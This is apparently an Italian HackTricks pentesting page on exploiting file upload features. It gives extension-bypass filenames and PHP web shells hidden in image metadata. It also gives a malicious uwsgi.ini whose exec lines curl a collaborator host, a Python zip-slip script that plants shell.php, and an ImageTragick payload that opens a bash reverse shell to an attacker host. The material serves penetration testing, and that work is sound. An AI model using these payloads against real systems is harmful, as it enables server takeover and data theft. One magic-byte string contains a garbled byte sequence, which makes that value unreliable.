File Upload

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Se sei interessato a una carriera nell'hacking e a hackare l'inhackabile - stiamo assumendo! (richiesta di polacco fluente scritto e parlato).

File Upload General Methodology

Altre estensioni utili:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • Funzionante in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. Se applicabili, controlla le estensioni precedenti. Prova anche a usarle con alcune lettere maiuscole: pHp, .pHP5, .PhAr ...

  2. Controlla aggiungendo un'estensione valida prima dell'estensione di esecuzione (usa anche le estensioni precedenti):

  • file.png.php

  • file.png.Php5

  1. Prova ad aggiungere caratteri speciali alla fine. Potresti usare Burp per bruteforce tutti i caratteri ascii e Unicode. (Nota che puoi anche provare a usare le estensioni precedentemente menzionate)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. Prova a bypassare le protezioni ingannando il parser delle estensioni del server con tecniche come raddoppiare l'estensione o aggiungere dati spazzatura (byte null) tra le estensioni. Puoi anche usare le estensioni precedenti per preparare un payload migliore.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. Aggiungi un altro livello di estensioni al controllo precedente:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. Prova a mettere l'estensione di esecuzione prima dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione** .php, ma non necessariamente che termina in .php** eseguirà codice):

  • es: file.php.png

  1. Usando NTFS alternate data stream (ADS) in Windows. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un file vuoto con l'estensione vietata verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il modello “::$data” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo modello potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)

  2. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php

# Linux massimo 255 byte
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # meno 4 qui e aggiungendo .png
# Carica il file e controlla la risposta su quanti caratteri consente. Diciamo 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea il payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type controllando impostando il valore dell'intestazione Content-Type a: image/png , text/plain , application/octet-stream

  • Bypass magic number controllando aggiungendo all'inizio del file i byte di una vera immagine (confondere il comando file). Oppure introduci la shell all'interno dei metadati: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg \ oppure potresti anche introdurre il payload direttamente in un'immagine: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • Se la compressione viene aggiunta alla tua immagine, ad esempio utilizzando alcune librerie PHP standard come PHP-GD, le tecniche precedenti non saranno utili. Tuttavia, potresti usare la tecnica del chunk PLTE definita qui per inserire del testo che sopravviverà alla compressione.

  • La pagina web potrebbe anche ridimensionare l'immagine, utilizzando ad esempio le funzioni PHP-GD imagecopyresized o imagecopyresampled. Tuttavia, potresti usare la tecnica del chunk IDAT definita qui per inserire del testo che sopravviverà alla compressione.

  • Un'altra tecnica per creare un payload che sopravvive a un ridimensionamento dell'immagine, utilizzando la funzione PHP-GD thumbnailImage. Tuttavia, potresti usare la tecnica del chunk tEXt definita qui per inserire del testo che sopravviverà alla compressione.

Other Tricks to check

  • Trova una vulnerabilità per rinominare il file già caricato (per cambiare l'estensione).

  • Trova una vulnerabilità di Local File Inclusion per eseguire il backdoor.

  • Possibile divulgazione di informazioni:

  1. Carica più volte (e allo stesso tempo) lo stesso file con lo stesso nome

  2. Carica un file con il nome di un file o cartella che esiste già

  3. Caricando un file con “.”, “..”, o “…” come nome. Ad esempio, in Apache in Windows, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.

  4. Carica un file che potrebbe non essere facilmente eliminato come “…:.jpg” in NTFS. (Windows)

  5. Carica un file in Windows con caratteri non validi come |<>*?” nel suo nome. (Windows)

  6. Carica un file in Windows usando nomi riservati (vietati) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.

  • Prova anche a caricare un eseguibile (.exe) o un .html (meno sospetto) che eseguirà codice quando accidentalmente aperto dalla vittima.

Special extension tricks

Se stai cercando di caricare file su un server PHP, dai un'occhiata al trucco .htaccess per eseguire codice. Se stai cercando di caricare file su un server ASP, dai un'occhiata al trucco .config per eseguire codice.

I file .phar sono come i .jar per java, ma per php, e possono essere utilizzati come un file php (eseguendolo con php, o includendolo all'interno di uno script...)

L'estensione .inc è a volte utilizzata per file php che sono solo usati per importare file, quindi, a un certo punto, qualcuno potrebbe aver consentito l'esecuzione di questa estensione.

Jetty RCE

Se puoi caricare un file XML su un server Jetty puoi ottenere RCE perché nuovi *.xml e *.war vengono elaborati automaticamente. Quindi, come menzionato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e aspettati la shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: uWSGI RCE Exploitation.

Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione .ini. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come @(filename), è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione .ini viene elaborato.

Considera il seguente esempio di un file uwsgi.ini dannoso, che mostra vari schemi:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

L'esecuzione del payload avviene durante l'analisi del file di configurazione. Affinché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco di Denial of Service) oppure il file deve essere impostato per il caricamento automatico. La funzione di caricamento automatico, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche.

È fondamentale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente l'ambito di potenziale sfruttamento.

wget File Upload/SSRF Trick

In alcune occasioni potresti scoprire che un server sta utilizzando wget per scaricare file e puoi indicare l'URL. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per garantire che vengano scaricati solo file consentiti. Tuttavia, questo controllo può essere eluso. La lunghezza massima di un nome file in linux è 255, tuttavia, wget tronca i nomi dei file a 236 caratteri. Puoi scaricare un file chiamato "A"*232+".php"+".gif", questo nome file eluderà il controllo (poiché in questo esempio ".gif" è un'estensione valida) ma wget rinominerà il file in "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Nota che un'altra opzione che potresti considerare per bypassare questo controllo è far sì che il server HTTP reindirizzi a un file diverso, quindi l'URL iniziale bypasserà il controllo e wget scaricherà il file reindirizzato con il nuovo nome. Questo non funzionerà a meno che wget non venga utilizzato con il parametro --trust-server-names perché wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale.

Strumenti

  • Upload Bypass è uno strumento potente progettato per assistere i Pentester e i Bug Hunter nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.

Da upload di file ad altre vulnerabilità

Ecco una lista delle 10 cose che puoi ottenere caricando (da qui):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  2. SVG: Stored XSS / SSRF / XXE

  3. GIF: Stored XSS / SSRF

  4. CSV: CSV injection

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : HTML injection / XSS / Open redirect

  8. PNG / JPEG: Pixel flood attack (DoS)

  9. ZIP: RCE via LFI / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

Estensione Burp

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

Fai riferimento a https://en.wikipedia.org/wiki/List_of_file_signatures per altri tipi di file.

Upload di file Zip/Tar automaticamente decompresso

Se puoi caricare un ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:

Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompresso accederai ai file collegati:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversamento delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.

Un exploit automatizzato per creare tali file è disponibile su evilarc su GitHub. L'utilità può essere utilizzata come mostrato:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Inoltre, il trucco del symlink con evilarc è un'opzione. Se l'obiettivo è mirare a un file come /flag.txt, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.

Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusare della compressione per il file spraying

Per ulteriori dettagli controlla il post originale in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creazione di una Shell PHP: Il codice PHP è scritto per eseguire comandi passati attraverso la variabile $_REQUEST.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying e Creazione di File Compressi: Vengono creati più file e viene assemblato un archivio zip contenente questi file.

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modifica con un Editor Hex o vi: I nomi dei file all'interno dello zip vengono alterati utilizzando vi o un editor hex, cambiando "xxA" in "../" per attraversare le directory.

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità (ImageMagick , 7.0.1-1) (dal exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

Incorporare una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni imagecopyresized e imagecopyresampled di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare nuovamente le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.

Un'esplorazione dettagliata di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nel seguente articolo: "Encoding Web Shells in PNG IDAT chunks". Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.

Maggiore informazione in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un GIFAR, un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiata; combinazioni come GIF e JS o PPT e JS sono anche fattibili.

L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La pratica comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.

Nonostante la loro adattabilità, i poliglotti incontrano limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.

Maggiore informazione in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

References

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated